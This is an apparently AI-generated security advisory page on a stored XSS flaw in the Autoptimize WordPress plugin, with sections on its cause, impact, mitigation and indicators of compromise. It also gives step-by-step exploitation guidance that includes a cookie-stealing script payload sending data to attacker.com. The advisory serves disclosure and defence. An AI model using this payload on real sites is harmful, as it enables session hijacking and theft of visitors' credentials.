CVE-2026-2352
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-2352 is a Stored Cross-Site Scripting (XSS) vulnerability in the Autoptimize plugin for WordPress, affecting all versions up to and including 3.1.14. Authenticated attackers with Contributor-level access or above can inject arbitrary web scripts via the ao_post_preload meta value, which execute whenever a user visits an affected page — provided the "Image optimization" or "Lazy-load images" setting is enabled. The vulnerability was published on March 21, 2026, and assigned a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Specifically, the ao_metabox_save() function in autoptimizeMetabox.php stored the raw $_POST['ao_post_preload'] value without sanitization, and autoptimizeImages.php rendered this value directly into a <link> HTML tag without output escaping. The fix, committed to the repository as commit 60d1e48, adds sanitize_text_field() to the save function and wraps the preload tag output through a kses_preload_link() method using wp_kses() for allowlist-based HTML sanitization (GitHub Commit, Wordfence).

Impact

Successful exploitation allows an authenticated attacker with at minimum Contributor-level WordPress access to persistently inject malicious JavaScript into post pages. The injected script executes in the context of any user — including administrators — who visits the compromised page, enabling session hijacking, credential theft, unauthorized administrative actions, or further site compromise. The CVSS scope is marked as "Changed," reflecting that the impact extends beyond the attacker's own session to affect other users' browsers (Wordfence, Red Hat CVE).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-2352 as of the available data. The EPSS score is approximately 0.042%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires an authenticated account with at least Contributor-level access and the plugin's image optimization or lazy-load feature to be enabled (Wordfence).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running Autoptimize version 3.1.14 or earlier with "Image optimization" or "Lazy-load images" enabled in the plugin settings.
  2. Obtain Contributor access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site.
  3. Craft malicious payload: Prepare a JavaScript payload (e.g., "><script>document.location='https://attacker.com/steal?c='+document.cookie</script>) to be injected via the ao_post_preload post meta field.
  4. Inject via post editor: When creating or editing a post, submit the malicious payload in the ao_post_preload metabox field. Because ao_metabox_save() stores the value without sanitization, the payload is persisted to the database.
  5. Trigger execution: When any user (including administrators) visits the post, autoptimizeImages.php renders the unsanitized value into a <link> tag, causing the injected script to execute in the victim's browser.
  6. Achieve objective: Harvest session cookies, perform actions as the victim user, or escalate privileges by targeting administrator sessions (GitHub Commit, Wordfence).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to post-edit endpoints (/wp-admin/post.php) from Contributor-level accounts containing script tags or encoded JavaScript in the ao_post_preload parameter.
  • Database: Unexpected or obfuscated JavaScript content stored in the wp_postmeta table under the ao_post_preload meta key for any post.
  • Network: Outbound requests from victim browsers to unknown external domains shortly after loading pages with Autoptimize-processed image preload tags; potential exfiltration of cookie data to attacker-controlled endpoints.
  • File System: No direct file system artifacts expected, as the payload is stored in the database rather than the file system.

Mitigation and workarounds

Update the Autoptimize plugin to version 3.1.15 or later, which includes the patch that adds sanitize_text_field() to the ao_metabox_save() function and applies wp_kses() output escaping via kses_preload_link() in autoptimizeImages.php. As a temporary workaround, disabling the "Image optimization" and "Lazy-load images" settings in the Autoptimize plugin configuration will prevent the vulnerable code path from being triggered. Site administrators should also audit existing post meta values for the ao_post_preload key to check for any previously injected payloads (GitHub Commit, Wordfence).

Community reactions

Wordfence, which discovered and reported the vulnerability, included it in their weekly WordPress vulnerability report for the week of March 16–22, 2026, and Sucuri referenced it in their March 2026 vulnerability patch roundup (Wordfence Blog, Sucuri Blog). No significant broader media coverage or notable researcher commentary beyond standard vulnerability disclosure channels has been identified.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-77115HIGH7.1
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-77116MEDIUM4.3
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-14853MEDIUM4.3
  • woocommerce-bookings
NoYesAug 23, 2026
CVE-2026-77003LOW2.7
  • content-mask
NoYesAug 23, 2026
CVE-2026-13598NONEN/A
  • restrictmate
NoYesAug 23, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management